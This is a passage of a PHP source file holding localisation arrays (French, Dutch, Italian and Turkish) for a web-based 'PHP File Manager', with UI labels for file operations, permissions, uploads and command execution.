        $fr3['SendingForm'] = "Fichiers en cours d'envoi, merci de patienter";
        $fr3['NoFileSel'] = 'Pas de fichier slectionn';
        $fr3['SelAll'] = 'Tous';
        $fr3['SelNone'] = 'Aucun';
        $fr3['SelInverse'] = 'Inverser';
        $fr3['Selected_s'] = 'slectionn';
        $fr3['Total'] = 'total';
        $fr3['Partition'] = 'Partition';
        $fr3['RenderTime'] = 'Temps ncessaire pour obtenir cette page';
        $fr3['Seconds'] = 'sec';
        $fr3['ErrorReport'] = 'Erreur de compte rendu';
        // Dutch - by Leon Buijs
        $nl['Version'] = 'Versie';
        $nl['DocRoot'] = 'Document Root';
        $nl['FLRoot'] = 'File Manager Root';
        $nl['Name'] = 'Naam';
        $nl['And'] = 'en';
        $nl['Enter'] = 'Enter';
        $nl['Send'] = 'Verzend';
        $nl['Refresh'] = 'Vernieuw';
        $nl['SaveConfig'] = 'Configuratie opslaan';
        $nl['SavePass'] = 'Wachtwoord opslaan';
        $nl['SaveFile'] = 'Bestand opslaan';
        $nl['Save'] = 'Opslaan';
        $nl['Leave'] = 'Verlaten';
        $nl['Edit'] = 'Wijzigen';
        $nl['View'] = 'Toon';
        $nl['Config'] = 'Configuratie';
        $nl['Ren'] = 'Naam wijzigen';
        $nl['Rem'] = 'Verwijderen';
        $nl['Compress'] = 'Comprimeren';
        $nl['Decompress'] = 'Decomprimeren';
        $nl['ResolveIDs'] = 'Resolve IDs';
        $nl['Move'] = 'Verplaats';
        $nl['Copy'] = 'Kopieer';
        $nl['ServerInfo'] = 'Serverinformatie';
        $nl['CreateDir'] = 'Nieuwe map';
        $nl['CreateArq'] = 'Nieuw bestand';
        $nl['ExecCmd'] = 'Commando uitvoeren';
        $nl['Upload'] = 'Upload';
        $nl['UploadEnd'] = 'Upload voltooid';
        $nl['Perm'] = 'Rechten';
        $nl['Perms'] = 'Rechten';
        $nl['Owner'] = 'Eigenaar';
        $nl['Group'] = 'Groep';
        $nl['Other'] = 'Anderen';
        $nl['Size'] = 'Grootte';
        $nl['Date'] = 'Datum';
        $nl['Type'] = 'Type';
        $nl['Free'] = 'free';
        $nl['Shell'] = 'Shell';
        $nl['Read'] = 'Lezen';
        $nl['Write'] = 'Schrijven';
        $nl['Exec'] = 'Uitvoeren';
        $nl['Apply'] = 'Toepassen';
        $nl['StickyBit'] = 'Sticky Bit';
        $nl['Pass'] = 'Wachtwoord';
        $nl['Lang'] = 'Taal';
        $nl['File'] = 'Bestand';
        $nl['File_s'] = 'bestand(en)';
        $nl['Dir_s'] = 'map(pen)';
        $nl['To'] = 'naar';
        $nl['Destination'] = 'Bestemming';
        $nl['Configurations'] = 'Instellingen';
        $nl['JSError'] = 'Javascriptfout';
        $nl['NoSel'] = 'Er zijn geen bestanden geselecteerd';
        $nl['SelDir'] = 'Kies de bestemming in de boom aan de linker kant';
        $nl['TypeDir'] = 'Voer de mapnaam in';
        $nl['TypeArq'] = 'Voer de bestandsnaam in';
        $nl['TypeCmd'] = 'Voer het commando in';
        $nl['TypeArqComp'] = 'Voer de bestandsnaam in.
De extensie zal het compressietype bepalen.
Ex:
nome.zip
nome.tar
nome.bzip
nome.gzip';
        $nl['RemSel'] = 'VERWIJDER geselecteerde itens';
        $nl['NoDestDir'] = 'Er is geen doelmap geselecteerd';
        $nl['DestEqOrig'] = 'Bron- en doelmap zijn hetzelfde';
        $nl['InvalidDest'] = 'Doelmap is ongeldig';
        $nl['NoNewPerm'] = 'Nieuwe rechten niet geset';
        $nl['CopyTo'] = 'KOPIEER naar';
        $nl['MoveTo'] = 'VERPLAATS naar';
        $nl['AlterPermTo'] = 'VERANDER RECHTEN in';
        $nl['ConfExec'] = 'Bevestig UITVOEREN';
        $nl['ConfRem'] = 'Bevestig VERWIJDEREN';
        $nl['EmptyDir'] = 'Lege map';
        $nl['IOError'] = 'I/O Error';
        $nl['FileMan'] = 'PHP File Manager';
        $nl['TypePass'] = 'Voer het wachtwoord in';
        $nl['InvPass'] = 'Ongeldig wachtwoord';
        $nl['ReadDenied'] = 'Leestoegang ontzegd';
        $nl['FileNotFound'] = 'Bestand niet gevonden';
        $nl['AutoClose'] = 'Sluit na voltooien';
        $nl['OutDocRoot'] = 'Bestand buiten DOCUMENT_ROOT';
        $nl['NoCmd'] = 'Error: Command not informed';
        $nl['ConfTrySave'] = 'Bestand zonder schrijfrechten.
Probeer een andere manier';
        $nl['ConfSaved'] = 'Instellingen opgeslagen';
        $nl['PassSaved'] = 'Wachtwoord opgeslagen';
        $nl['FileDirExists'] = 'Bestand of map bestaat al';
        $nl['NoPhpinfo'] = 'Functie \'phpinfo\' is uitgeschakeld';
        $nl['NoReturn'] = 'no return';
        $nl['FileSent'] = 'Bestand verzonden';
        $nl['SpaceLimReached'] = 'Opslagruimtelimiet bereikt';
        $nl['InvExt'] = 'Ongeldige extensie';
        $nl['FileNoOverw'] = 'Bestand kan niet worden overgeschreven';
        $nl['FileOverw'] = 'Bestand overgeschreven';
        $nl['FileIgnored'] = 'Bestand genegeerd';
        $nl['ChkVer'] = 'Controleer nieuwe versie';
        $nl['ChkVerAvailable'] = 'Nieuwe versie, klik hier om de download te starten';
        $nl['ChkVerNotAvailable'] = 'Geen nieuwe versie beschikbaar';
        $nl['ChkVerError'] = 'Verbindingsfout.';
        $nl['Website'] = 'Website';
        $nl['SendingForm'] = 'Bestanden worden verzonden. Even geduld...';
        $nl['NoFileSel'] = 'Geen bestanden geselecteerd';
        $nl['SelAll'] = 'Alles';
        $nl['SelNone'] = 'Geen';
        $nl['SelInverse'] = 'Keer om';
        $nl['Selected_s'] = 'geselecteerd';
        $nl['Total'] = 'totaal';
        $nl['Partition'] = 'Partitie';
        $nl['RenderTime'] = 'Tijd voor maken van deze pagina';
        $nl['Seconds'] = 'sec';
        $nl['ErrorReport'] = 'Foutenrapport';
        // Italian - by Valerio Capello
        $it1['Version'] = 'Versione';
        $it1['DocRoot'] = 'Document Root';
        $it1['FLRoot'] = 'File Manager Root';
        $it1['Name'] = 'Nome';
        $it1['And'] = 'e';
        $it1['Enter'] = 'Immetti';
        $it1['Send'] = 'Invia';
        $it1['Refresh'] = 'Aggiorna';
        $it1['SaveConfig'] = 'Salva la Configurazione';
        $it1['SavePass'] = 'Salva la Password';
        $it1['SaveFile'] = 'Salva il File';
        $it1['Save'] = 'Salva';
        $it1['Leave'] = 'Abbandona';
        $it1['Edit'] = 'Modifica';
        $it1['View'] = 'Guarda';
        $it1['Config'] = 'Configurazione';
        $it1['Ren'] = 'Rinomina';
        $it1['Rem'] = 'Elimina';
        $it1['Compress'] = 'Comprimi';
        $it1['Decompress'] = 'Decomprimi';
        $it1['ResolveIDs'] = 'Risolvi IDs';
        $it1['Move'] = 'Sposta';
        $it1['Copy'] = 'Copia';
        $it1['ServerInfo'] = 'Informazioni sul Server';
        $it1['CreateDir'] = 'Crea Directory';
        $it1['CreateArq'] = 'Crea File';
        $it1['ExecCmd'] = 'Esegui Comando';
        $it1['Upload'] = 'Carica';
        $it1['UploadEnd'] = 'Caricamento terminato';
        $it1['Perm'] = 'Perm';
        $it1['Perms'] = 'Permessi';
        $it1['Owner'] = 'Proprietario';
        $it1['Group'] = 'Gruppo';
        $it1['Other'] = 'Altri';
        $it1['Size'] = 'Dimensioni';
        $it1['Date'] = 'Data';
        $it1['Type'] = 'Tipo';
        $it1['Free'] = 'liberi';
        $it1['Shell'] = 'Shell';
        $it1['Read'] = 'Lettura';
        $it1['Write'] = 'Scrittura';
        $it1['Exec'] = 'Esecuzione';
        $it1['Apply'] = 'Applica';
        $it1['StickyBit'] = 'Sticky Bit';
        $it1['Pass'] = 'Password';
        $it1['Lang'] = 'Lingua';
        $it1['File'] = 'File';
        $it1['File_s'] = 'file';
        $it1['Dir_s'] = 'directory';
        $it1['To'] = 'a';
        $it1['Destination'] = 'Destinazione';
        $it1['Configurations'] = 'Configurazione';
        $it1['JSError'] = 'Errore JavaScript';
        $it1['NoSel'] = 'Non ci sono elementi selezionati';
        $it1['SelDir'] = 'Scegli la directory di destinazione';
        $it1['TypeDir'] = 'Inserisci il nome della directory';
        $it1['TypeArq'] = 'Inserisci il nome del file';
        $it1['TypeCmd'] = 'Inserisci il comando';
        $it1['TypeArqComp'] = 'Inserisci il nome del file.
La estensione definir  il tipo di compressione.
Esempio:
nome.zip
nome.tar
nome.bzip
nome.gzip';
        $it1['RemSel'] = 'ELIMINA gli elementi selezionati';
        $it1['NoDestDir'] = 'LA directory di destinazione non  stata selezionata';
        $it1['DestEqOrig'] = 'La directory di origine e di destinazione sono la stessa';
        $it1['InvalidDest'] = 'La directory di destinazione non  valida';
        $it1['NoNewPerm'] = 'Nuovi permessi non attivati';
        $it1['CopyTo'] = 'COPIA in';
        $it1['MoveTo'] = 'SPOSTA in';
        $it1['AlterPermTo'] = 'CAMBIA I PERMESSI: ';
        $it1['ConfExec'] = 'Conferma ESECUZIONE';
        $it1['ConfRem'] = 'Conferma ELIMINAZIONE';
        $it1['EmptyDir'] = 'Directory vuota';
        $it1['IOError'] = 'Errore di I/O';
        $it1['FileMan'] = 'PHP File Manager';
        $it1['TypePass'] = 'Immetti la password';
        $it1['InvPass'] = 'Password non valida';
        $it1['ReadDenied'] = 'Permesso di lettura negato';
        $it1['FileNotFound'] = 'File non trovato';
        $it1['AutoClose'] = 'Chiudi la finestra al termine';
        $it1['OutDocRoot'] = 'File oltre DOCUMENT_ROOT';
        $it1['NoCmd'] = 'Errore: Comando non informato';
        $it1['ConfTrySave'] = 'File senza permesso di scrittura.
Provo a salvare comunque';
        $it1['ConfSaved'] = 'Configurazione salvata';
        $it1['PassSaved'] = 'Password salvata';
        $it1['FileDirExists'] = 'Il file o la directory esiste gi ';
        $it1['NoPhpinfo'] = 'La funzione phpinfo  disabilitata';
        $it1['NoReturn'] = 'senza Return';
        $it1['FileSent'] = 'File inviato';
        $it1['SpaceLimReached'] = ' stato raggiunto il limite di spazio disponibile';
        $it1['InvExt'] = 'Estensione non valida';
        $it1['FileNoOverw'] = 'Il file non pu essere sovrascritto';
        $it1['FileOverw'] = 'File sovrascritto';
        $it1['FileIgnored'] = 'File ignorato';
        $it1['ChkVer'] = 'Controlla se  disponibile una nuova versione';
        $it1['ChkVerAvailable'] = ' disponibile una nuova versione: premi qui per scaricarla.';
        $it1['ChkVerNotAvailable'] = 'Non  disponibile nessuna nuova versione. :(';
        $it1['ChkVerError'] = 'Errore di connessione.';
        $it1['Website'] = 'Sito Web';
        $it1['SendingForm'] = 'Invio file, attendere prego';
        $it1['NoFileSel'] = 'Nessun file selezionato';
        $it1['SelAll'] = 'Tutti';
        $it1['SelNone'] = 'Nessuno';
        $it1['SelInverse'] = 'Inverti';
        $it1['Selected_s'] = 'selezionato';
        $it1['Total'] = 'totali';
        $it1['Partition'] = 'Partizione';
        $it1['RenderTime'] = 'Tempo per elaborare questa pagina';
        $it1['Seconds'] = 'sec';
        $it1['ErrorReport'] = 'Error Reporting';
        // Italian - by Federico Corr
        $it2['Version'] = 'Versione';
        $it2['DocRoot'] = 'Root Documenti';
        $it2['FLRoot'] = 'Root del File Manager';
        $it2['Name'] = 'Nome';
        $it2['And'] = 'e';
        $it2['Enter'] = 'Invio';
        $it2['Send'] = 'Spedisci';
        $it2['Refresh'] = 'Aggiorna';
        $it2['SaveConfig'] = 'Salva configurazioni';
        $it2['SavePass'] = 'Salva password';
        $it2['SaveFile'] = 'Salva file';
        $it2['Save'] = 'Salva';
        $it2['Leave'] = 'Esci';
        $it2['Edit'] = 'Modifica';
        $it2['View'] = 'Visualizza';
        $it2['Config'] = 'Configura';
        $it2['Ren'] = 'Rinomina';
        $it2['Rem'] = 'Cancella';
        $it2['Compress'] = 'Comprimi';
        $it2['Decompress'] = 'Decomprimi';
        $it2['ResolveIDs'] = 'Risolvi ID';
        $it2['Move'] = 'Muovi';
        $it2['Copy'] = 'Copia';
        $it2['ServerInfo'] = 'Server info';
        $it2['CreateDir'] = 'Crea cartella';
        $it2['CreateArq'] = 'Crea file';
        $it2['ExecCmd'] = 'Esegui comando';
        $it2['Upload'] = 'Upload';
        $it2['UploadEnd'] = 'Upload terminato';
        $it2['Perm'] = 'Perm';
        $it2['Perms'] = 'Permessi';
        $it2['Owner'] = 'Owner';
        $it2['Group'] = 'Grouppo';
        $it2['Other'] = 'Altro';
        $it2['Size'] = 'Dimensione';
        $it2['Date'] = 'Data';
        $it2['Type'] = 'Tipo';
        $it2['Free'] = 'liberi';
        $it2['Shell'] = 'Shell';
        $it2['Read'] = 'Lettura';
        $it2['Write'] = 'Scrittura';
        $it2['Exec'] = 'Esecuzione';
        $it2['Apply'] = 'Applica';
        $it2['StickyBit'] = 'Sticky Bit';
        $it2['Pass'] = 'Password';
        $it2['Lang'] = 'Lingua';
        $it2['File'] = 'File';
        $it2['File_s'] = 'file';
        $it2['Dir_s'] = 'cartella';
        $it2['To'] = 'a';
        $it2['Destination'] = 'Destinazione';
        $it2['Configurations'] = 'Configurazioni';
        $it2['JSError'] = 'Errore JavaScript';
        $it2['NoSel'] = 'Nessun item selezionato';
        $it2['SelDir'] = 'Scegli la cartella di destinazione sull\'albero a sinistra';
        $it2['TypeDir'] = 'Inserisci il nome della cartella';
        $it2['TypeArq'] = 'Inserisci il nome del file';
        $it2['TypeCmd'] = 'Inserisci il comando';
        $it2['TypeArqComp'] = 'Inserisci il nome del file.
L\'estensione definir  le modalit  di compressione.
Ex:
nome.zip
nome.tar
nome.bzip
nome.gzip';
        $it2['RemSel'] = 'ELIMINA gli item selezionati';
        $it2['NoDestDir'] = 'Non  stata selezionata la cartella di destinazione';
        $it2['DestEqOrig'] = 'La cartella di origine e di destinazione coincidono';
        $it2['InvalidDest'] = 'La cartella di destinazione non  valida';
        $it2['NoNewPerm'] = 'Nuovo permesso non definito';
        $it2['CopyTo'] = 'COPIA in';
        $it2['MoveTo'] = 'MUOVI in';
        $it2['AlterPermTo'] = 'CAMBIA PERMESSI in';
        $it2['ConfExec'] = 'Conferma ESECUZIONE';
        $it2['ConfRem'] = 'Conferma CANCELLA';
        $it2['EmptyDir'] = 'Cartella Vuota';
        $it2['IOError'] = 'Errore I/O';
        $it2['FileMan'] = 'PHP File Manager';
        $it2['TypePass'] = 'Inserisci la password';
        $it2['InvPass'] = 'Password non valida';
        $it2['ReadDenied'] = 'Accesso in lettura non consentito';
        $it2['FileNotFound'] = 'File non trovato';
        $it2['AutoClose'] = 'Chiudi dopo aver completato';
        $it2['OutDocRoot'] = 'File oltre DOCUMENT_ROOT';
        $it2['NoCmd'] = 'Errore: comando non informato';
        $it2['ConfTrySave'] = 'Accesso in scrittura non consentito.
Prova a salvare comunque';
        $it2['ConfSaved'] = 'Configurazioni salvate';
        $it2['PassSaved'] = 'Password salvate';
        $it2['FileDirExists'] = 'Il file o la cartella esiste gi ';
        $it2['NoPhpinfo'] = 'Funzione phpinfo disabilitata';
        $it2['NoReturn'] = 'Nessun ritorno';
        $it2['FileSent'] = 'File spedito';
        $it2['SpaceLimReached'] = 'Limite di spazio raggiunto';
        $it2['InvExt'] = 'Estensione non valida';
        $it2['FileNoOverw'] = 'Il file non potrebbe essere sovrascritto';
        $it2['FileOverw'] = 'File sovrascritto';
        $it2['FileIgnored'] = 'File ignorato';
        $it2['ChkVer'] = 'Check nuova versione';
        $it2['ChkVerAvailable'] = 'Nuova versione, clicca qui per iniziare il download!!';
        $it2['ChkVerNotAvailable'] = 'Nessuna nuova versione disponibile. :(';
        $it2['ChkVerError'] = 'Errore di connessione.';
        $it2['Website'] = 'Sito Web';
        $it2['SendingForm'] = 'Invio file, prego attendi';
        $it2['NoFileSel'] = 'Nessun file selezionato';
        $it2['SelAll'] = 'Tutti';
        $it2['SelNone'] = 'Nessuno';
        $it2['SelInverse'] = 'Inverti';
        $it2['Selected_s'] = 'selezionati';
        $it2['Total'] = 'totale';
        $it2['Partition'] = 'Partizione';
        $it2['RenderTime'] = 'Tempo per renderizzare questa pagina';
        $it2['Seconds'] = 'sec';
        $it2['ErrorReport'] = 'Report errori';
        // Italian - by Luca Zorzi
        $it3['Version'] = 'Versione';
        $it3['DocRoot'] = 'Document Root';
        $it3['FLRoot'] = 'Root del File Manager';
        $it3['Name'] = 'Nome';
        $it3['And'] = 'e';
        $it3['Enter'] = 'Invio';
        $it3['Send'] = 'Invia';
        $it3['Refresh'] = 'Aggiorna';
        $it3['SaveConfig'] = 'Salva le impostazioni';
        $it3['SavePass'] = 'Salva la Password';
        $it3['SaveFile'] = 'Salva il File';
        $it3['Save'] = 'Salva';
        $it3['Leave'] = 'Annulla';
        $it3['Edit'] = 'Modifica';
        $it3['View'] = 'Guarda';
        $it3['Config'] = 'Impostazioni';
        $it3['Ren'] = 'Rinomina';
        $it3['Rem'] = 'Elimina';
        $it3['Compress'] = 'Comprimi';
        $it3['Decompress'] = 'Decomprimi';
        $it3['ResolveIDs'] = 'Risolvi ID';
        $it3['Move'] = 'Sposta';
        $it3['Copy'] = 'Copia';
        $it3['ServerInfo'] = 'Server Info';
        $it3['CreateDir'] = 'Crea Cartella';
        $it3['CreateArq'] = 'Crea File';
        $it3['ExecCmd'] = 'Esegui Comando';
        $it3['Upload'] = 'Upload';
        $it3['UploadEnd'] = 'Upload completato';
        $it3['Perm'] = 'Perm';
        $it3['Perms'] = 'Permessi';
        $it3['Owner'] = 'Proprietario';
        $it3['Group'] = 'Gruppo';
        $it3['Other'] = 'Altri';
        $it3['Size'] = 'Dimensione';
        $it3['Date'] = 'Data';
        $it3['Type'] = 'Tipo';
        $it3['Free'] = 'libero';
        $it3['Shell'] = 'Shell';
        $it3['Read'] = 'Lettura';
        $it3['Write'] = 'Scruttura';
        $it3['Exec'] = 'Esecuzione';
        $it3['Apply'] = 'Applica';
        $it3['StickyBit'] = 'Bit Sticky';
        $it3['Pass'] = 'Password';
        $it3['Lang'] = 'Lingua';
        $it3['File'] = 'File';
        $it3['File_s'] = 'file';
        $it3['Dir_s'] = 'cartella/e';
        $it3['To'] = 'a';
        $it3['Destination'] = 'Destinazione';
        $it3['Configurations'] = 'Configurazioni';
        $it3['JSError'] = 'Errore JavaScript';
        $it3['NoSel'] = 'Non ci sono elementi selezioneti';
        $it3['SelDir'] = 'Scegli la cartella di destinazione nell\'elenco a sinistra';
        $it3['TypeDir'] = 'Inserisci il nome della cartella';
        $it3['TypeArq'] = 'Inserisci il nome del file';
        $it3['TypeCmd'] = 'Inserisci il comando';
        $it3['TypeArqComp'] = 'Inserisci il nome del file.
Il nome definir &agrave; il tipo della compressione .
Es:
nome.zip
nome.tar
nome.bzip
nome.gzip';
        $it3['RemSel'] = 'ELIMINA gli elementi selezionati';
        $it3['NoDestDir'] = 'Non hai selezionato la cartella di destinazione';
        $it3['DestEqOrig'] = 'La cartella di origine e destinazione &egrave; la stessa';
        $it3['InvalidDest'] = 'La cartella di destinazione non &egrave; valida';
        $it3['NoNewPerm'] = 'Nuovi permessi non impostati';
        $it3['CopyTo'] = 'COPIA in';
        $it3['MoveTo'] = 'SPOSTA in';
        $it3['AlterPermTo'] = 'CAMBIA I PERMESSI a';
        $it3['ConfExec'] = 'Conferma ESECUZIONE';
        $it3['ConfRem'] = 'Conferma ELIMINAZIONE';
        $it3['EmptyDir'] = 'CArtella vuota';
        $it3['IOError'] = 'Errore di I/O';
        $it3['FileMan'] = 'PHP File Manager';
        $it3['TypePass'] = 'Inserisci la password';
        $it3['InvPass'] = 'Password errata';
        $it3['ReadDenied'] = 'Accesso in lettura negato';
        $it3['FileNotFound'] = 'File non trovato';
        $it3['AutoClose'] = 'Chiudi alla fine';
        $it3['OutDocRoot'] = 'File fuori dalla DOCUMENT_ROOT';
        $it3['NoCmd'] = 'Errore: Comando non informato';
        $it3['ConfTrySave'] = 'File senza il permesso di scrittura.
Provare a salvarlo comunque';
        $it3['ConfSaved'] = 'Configurazione salvata';
        $it3['PassSaved'] = 'Password salvata';
        $it3['FileDirExists'] = 'Il file o la cartella esiste gi&agrave;';
        $it3['NoPhpinfo'] = 'Funzione phpinfo disabilitata';
        $it3['NoReturn'] = 'no return';
        $it3['FileSent'] = 'File inviato';
        $it3['SpaceLimReached'] = 'Limite di spazio raggiunto';
        $it3['InvExt'] = 'Estensione non valida';
        $it3['FileNoOverw'] = 'Il file non pu&ograve; essere sovrascritto';
        $it3['FileOverw'] = 'File sovrascritto';
        $it3['FileIgnored'] = 'File ignorato';
        $it3['ChkVer'] = 'Controlla la presnza di una nuova versione';
        $it3['ChkVerAvailable'] = 'Nuova versione, clicca qui per avviare il download!!';
        $it3['ChkVerNotAvailable'] = 'Nessuna nuova versione disponibile. :(';
        $it3['ChkVerError'] = 'Errore di connessione.';
        $it3['Website'] = 'Sito';
        $it3['SendingForm'] = 'Invio dei file, attendi';
        $it3['NoFileSel'] = 'Nessun file selezionato';
        $it3['SelAll'] = 'Tutti';
        $it3['SelNone'] = 'Nessuno';
        $it3['SelInverse'] = 'Inverti selezione';
        $it3['Selected_s'] = 'selezionato';
        $it3['Total'] = 'totale';
        $it3['Partition'] = 'Partizione';
        $it3['RenderTime'] = 'Tempo di generazione';
        $it3['Seconds'] = 'sec';
        $it3['ErrorReport'] = 'Error Reporting';
        // Italian - by Gianni
        $it4['Version'] = 'Versione';
        $it4['DocRoot'] = 'Root documenti';
        $it4['FLRoot'] = 'Root file manager';
        $it4['Name'] = 'Nome';
        $it4['And'] = 'e';
        $it4['Enter'] = 'Entra';
        $it4['Send'] = 'Invia';
        $it4['Refresh'] = 'Aggiorna';
        $it4['SaveConfig'] = 'Salva configurazioni';
        $it4['SavePass'] = 'Salva password';
        $it4['SaveFile'] = 'Salva file';
        $it4['Save'] = 'Salva';
        $it4['Leave'] = 'Esci';
        $it4['Edit'] = 'Modifica';
        $it4['View'] = 'Vedi';
        $it4['Config'] = 'Preferenze';
        $it4['Ren'] = 'Rinomina';
        $it4['Rem'] = 'Cancella';
        $it4['Compress'] = 'Comprimi';
        $it4['Decompress'] = 'Decomprimi';
        $it4['ResolveIDs'] = 'Risolvi IDs';
        $it4['Move'] = 'Sposta';
        $it4['Copy'] = 'Copia';
        $it4['ServerInfo'] = 'Versione PHP';
        $it4['CreateDir'] = 'Crea directory';
        $it4['CreateArq'] = 'Crea file';
        $it4['ExecCmd'] = 'Esegui comando';
        $it4['Upload'] = 'Upload';
        $it4['UploadEnd'] = 'Upload terminato';
        $it4['Perm'] = 'Perm';
        $it4['Perms'] = 'Permessi';
        $it4['Owner'] = 'Proprietario';
        $it4['Group'] = 'Gruppo';
        $it4['Other'] = 'Altro';
        $it4['Size'] = 'Dimensione';
        $it4['Date'] = 'Data';
        $it4['Type'] = 'Tipo';
        $it4['Free'] = 'liberi';
        $it4['Shell'] = 'Shell';
        $it4['Read'] = 'Lettura';
        $it4['Write'] = 'Scrittura';
        $it4['Exec'] = 'Esecuzione';
        $it4['Apply'] = 'Applica';
        $it4['StickyBit'] = 'Sticky Bit';
        $it4['Pass'] = 'Password';
        $it4['Lang'] = 'Lingua';
        $it4['File'] = 'File';
        $it4['File_s'] = 'files';
        $it4['Dir_s'] = 'directory';
        $it4['To'] = 'in';
        $it4['Destination'] = 'Destinazione';
        $it4['Configurations'] = 'Preferenze';
        $it4['JSError'] = 'Errore JavaScript';
        $it4['NoSel'] = 'Non ci sono elementi selezionati';
        $it4['SelDir'] = 'Seleziona una directory di destinazione a sinistra';
        $it4['TypeDir'] = 'Inserisci il nome della directory';
        $it4['TypeArq'] = 'Inserisci il nome del file';
        $it4['TypeCmd'] = 'Inserisci il comando';
        $it4['TypeArqComp'] = 'Inserisci il nome del file e tipo di compressione
(.Zip .Tar .Bzip .Gzip)';
        $it4['RemSel'] = 'Cancella gli elementi selezionati';
        $it4['NoDestDir'] = 'Seleziona una directory di destinazione';
        $it4['DestEqOrig'] = 'Origine e destinazione sono uguali';
        $it4['InvalidDest'] = 'Directory di destinazione non valida';
        $it4['NoNewPerm'] = 'Nuovi permessi non impostati';
        $it4['CopyTo'] = 'Copia in';
        $it4['MoveTo'] = 'Sposta in';
        $it4['AlterPermTo'] = 'Cambia permessi in';
        $it4['ConfExec'] = 'Conferma esecuzione';
        $it4['ConfRem'] = 'Conferma eliminazione';
        $it4['EmptyDir'] = 'Directory Vuota';
        $it4['IOError'] = 'Errore I/O';
        $it4['FileMan'] = 'PHP File Manager';
        $it4['TypePass'] = 'Inserisci la password';
        $it4['InvPass'] = 'Password non valida';
        $it4['ReadDenied'] = 'Accesso in lettura negato';
        $it4['FileNotFound'] = 'File non trovato';
        $it4['AutoClose'] = 'Chiudi al termine';
        $it4['OutDocRoot'] = 'File fuori dalla Root documenti';
        $it4['NoCmd'] = 'Errore: comando non informato';
        $it4['ConfTrySave'] = 'File senza permessi di scrittura.
Riprova a salvare';
        $it4['ConfSaved'] = 'Preferenze salvate';
        $it4['PassSaved'] = 'Password salvata';
        $it4['FileDirExists'] = 'Il file o la directory esistono gi ';
        $it4['NoPhpinfo'] = 'Funzione phpinfo disabilitata';
        $it4['NoReturn'] = 'Nessun ritorno';
        $it4['FileSent'] = 'File inviato';
        $it4['SpaceLimReached'] = 'Raggiunto spazio limite';
        $it4['InvExt'] = 'Estensione non valida';
        $it4['FileNoOverw'] = 'Il file non pu essere sovrascritto';
        $it4['FileOverw'] = 'File sovrascritto';
        $it4['FileIgnored'] = 'File ignorato';
        $it4['ChkVer'] = 'Controlla aggiornamenti';
        $it4['ChkVerAvailable'] = 'Nuova versione, click qui per effettuare il download!';
        $it4['ChkVerNotAvailable'] = 'Nessuna nuova versione';
        $it4['ChkVerError'] = 'Errore di connessione';
        $it4['Website'] = 'Sito';
        $it4['SendingForm'] = 'Invio files, attendere...';
        $it4['NoFileSel'] = 'Nessun file selezionato';
        $it4['SelAll'] = 'Tutti';
        $it4['SelNone'] = 'Nessuno';
        $it4['SelInverse'] = 'Inverti';
        $it4['Selected_s'] = 'selezionati';
        $it4['Total'] = 'totale';
        $it4['Partition'] = 'Partizione';
        $it4['RenderTime'] = 'Tempo per il render di questa pagina';
        $it4['Seconds'] = 'sec';
        $it4['ErrorReport'] = 'Report errori';
        // Turkish - by Necdet Yazilimlari
        $tr['Version'] = 'Versiyon';
        $tr['DocRoot'] = 'Kok dosya';
        $tr['FLRoot'] = 'Kok dosya yoneticisi';
        $tr['Name'] = 'Isim';
        $tr['And'] = 've';
        $tr['Enter'] = 'Giris';
        $tr['Send'] = 'Yolla';
        $tr['Refresh'] = 'Yenile';
        $tr['SaveConfig'] = 'Ayarlari kaydet';
        $tr['SavePass'] = 'Parolayi kaydet';
        $tr['SaveFile'] = 'Dosyayi kaydet';
        $tr['Save'] = 'Kaydet';
        $tr['Leave'] = 'Ayril';
        $tr['Edit'] = 'Duzenle';
        $tr['View'] = 'Goster';
        $tr['Config'] = 'Yapilandirma';
        $tr['Ren'] = 'Yeniden adlandir';
        $tr['Rem'] = 'Sil';
        $tr['Compress'] = '.Zip';
        $tr['Decompress'] = '.ZipCoz';
        $tr['ResolveIDs'] = 'Kimlikleri coz';
        $tr['Move'] = 'Tasi';
        $tr['Copy'] = 'Kopyala';
        $tr['ServerInfo'] = 'Sunucu Bilgisi';
        $tr['CreateDir'] = 'Dizin olustur';
        $tr['CreateArq'] = 'Dosya olusutur';
        $tr['ExecCmd'] = 'Komut calistir';
        $tr['Upload'] = 'Dosya yukle';
        $tr['UploadEnd'] = 'Yukleme tamamlandi';
        $tr['Perm'] = 'Izinler';
        $tr['Perms'] = 'Izinler';
        $tr['Owner'] = 'Sahip';
        $tr['Group'] = 'Grup';
        $tr['Other'] = 'Diger';
        $tr['Size'] = 'Boyut';
        $tr['Date'] = 'Tarih';
        $tr['Type'] = 'Tip';
        $tr['Free'] = 'Bos';
        $tr['Shell'] = 'Kabuk';
        $tr['Read'] = 'Oku';
        $tr['Write'] = 'Yaz';
        $tr['Exec'] = 'Calistir';
        $tr['Apply'] = 'Uygula';
        $tr['StickyBit'] = 'Sabit bit';
        $tr['Pass'] = 'Parola';
        $tr['Lang'] = 'Dil';
        $tr['File'] = 'Dosya';
        $tr['File_s'] = 'Dosya(lar)';
        $tr['Dir_s'] = 'Dizin(ler)';
        $tr['To'] = 'icin';
        $tr['Destination'] = 'Hedef';
        $tr['Configurations'] = 'Yapilandirmalar';
        $tr['JSError'] = 'JavaScript hatasi';
        $tr['NoSel'] = 'Secilen oge yok';
        $tr['SelDir'] = 'Soldaki hedef dizin agaci secin';
        $tr['TypeDir'] = 'Dizin adini girin';
        $tr['TypeArq'] = 'Dosya adini girin';
        $tr['TypeCmd'] = 'Komut girin';
        $tr['TypeArqComp'] = 'Dosya ismini yazdiktan sonra sonuna .zip ekleyin';
        $tr['RemSel'] = 'Secili ogeleri sil';
        $tr['NoDestDir'] = 'Secili dizin yok';
        $tr['DestEqOrig'] = 'Kokenli ve esit gidis rehberi';
        $tr['InvalidDest'] = 'Hedef dizin gecersiz';
        $tr['NoNewPerm'] = 'Izinler uygun degil';
        $tr['CopyTo'] = 'Kopya icin';
        $tr['MoveTo'] = 'Tasi icin';
        $tr['AlterPermTo'] = 'Permission secin';
        $tr['ConfExec'] = 'Yapilandirmayi onayla';
        $tr['ConfRem'] = 'Simeyi onayla';
        $tr['EmptyDir'] = 'Dizin bos';
        $tr['IOError'] = 'Hata';
        $tr['FileMan'] = 'Necdet_Yazilimlari';
        $tr['TypePass'] = 'Parolayi girin';
        $tr['InvPass'] = 'Gecersiz parola';
        $tr['ReadDenied'] = 'Okumaya erisim engellendi';
        $tr['FileNotFound'] = 'Dosya bulunamadi';
        $tr['AutoClose'] = 'Otomatik kapat';
        $tr['OutDocRoot'] = 'Kok klasor disindaki dosya';
        $tr['NoCmd'] = 'Hata: Komut haberdar degil';
